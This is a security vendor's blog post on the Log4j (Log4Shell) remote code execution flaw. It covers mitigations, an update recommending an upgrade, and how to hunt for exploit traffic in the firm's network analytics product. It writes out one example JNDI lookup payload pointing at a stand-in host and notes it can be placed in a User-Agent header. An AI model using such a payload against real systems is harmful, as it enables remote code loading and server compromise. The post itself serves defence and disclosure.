Update 17.12.:
Further research showed that the below mentioned mitigation measures (log4j2.formatMsgNoLookups=true
as well as setting LOG4J_FORMAT_MSG_NO_LOOKUPS
) might not be sufficient. It’s recommended to upgrade to log4js version 2.16.0 or to remove JndiLookup.class
from the jar.
Original blog post:
The Log4j library is used in Java applications to write log messages. Log4j supports a property substitution syntax [https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution] to enrich these log messages with information provided by Java code loaded from another system. Vulnerable versions of Log4j (all versions from 2.0-beta9 to 2.14.1) don’t t seem to restrict this function. Thus, an attacker simply needs to trick a vulnerable Java application into logging strings like ${jndi:ldap://example.com/exploit
} to run the exploit stored on example.com.
For instance, nearly all Web applications log the User-Agent of clients. Thus, an attacker can simply write the above string into the User-Agent field of HTTP requests to compromise a vulnerable Web application.
It’s further important to note that data entered via Internet-facing applications is often forwarded to other systems. Therefore, an attacker can potentially exploit a system that is not directly exposed to the outside but simply processes data. For example, an attacker could provide an invalid username via an Internet-facing application that triggers an error with a corresponding log on a vulnerable backend application. As a result, the backend application is compromised.
On the positive side, not all Java versions seem to be affected in their default configurations, according to Veracode [https://www.veracode.com/blog/security-news/urgent-analysis-and-remediation-guidance-log4j-zero-day-rce-cve-2021-44228] and Crowdstrike [https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/]. Further, vulnerable releases >=2.10 can be hardened without replacing the library by setting either the system property log4j2.formatMsgNoLookups=true
(-Dlog4j2.formatMsgNoLookups=true
on the java command line) or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS
to true
[https://logging.apache.org/log4j/2.x/security.html].
For a more detailed explanation of the exploit and recommendations, please see the blog post of NCSC/GovCERT.ch [https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/].
The Log4j exploits load the malicious Java application via the network. Thus, if corresponding network logs (NetFlow, IPFIX, firewall logs) are provided to ExeonTrace, you can check ExeonTrace for suspicious connections triggered by your internal servers.
To inspect the connections that internal servers trigger, we recommend to check “Flow analytics -> Client server pairs -> Outbound” in your ExeonTrace instance (URL:
https://YOUR_EXEONTRACE_INSTACE/analytics/flow/dominant-client-server-pairs/outbound). Note the filter “client:10.7.190.0/24” in the example shown below such that only client activities of servers in the example network “10.7.190.0/24” are visualized (the servers act as clients in the case of this attack because they try to establish a connection to the external resource to load the malicious code). Make sure to check “Show failed connections” to also see exploit attempts that were most likely unsuccessful and “Include all ports” to see connections happening over high ports.
It’s also a good idea to check the tab “Inbound” for suspicious activities, because in case of incomplete log data, connections are sometimes rotated. Also, the tab “Internal” is interesting because compromised systems might conduct internal reconnaissance and lateral movement activities.
Log4j threat hunting with ExeonTrace
For customers with the proxy log data analytics module, we further recommend to check ExeonTrace’s proxy client server pair view (URL: https://YOUR_EXEONTRACE_INSTACE/analytics/proxy/client-server-pairs/). Again, it’s recommended to filter for the server networks (“client:10.7.190.0/24”) to see if the servers trigger suspicious activities as clients.
Independent of this exploit, ExeonTrace continuously monitors the network for signs of internal reconnaissance and lateral movement. Further, there’s the option to configure an analytics model triggering alerts when novel connections are established by selected server networks. Please contact our support (support@exeon.ch) for assistance with setting up this model.
Even though the Log4j library is present in two components used by the ExeonTrace NDR software, the ExeonTrace standard deployment is, to the best of our knowledge, not vulnerable to the Log4j exploit thanks to its configuration.
The author: David Gugelmann is Founder and CEO of Exeon.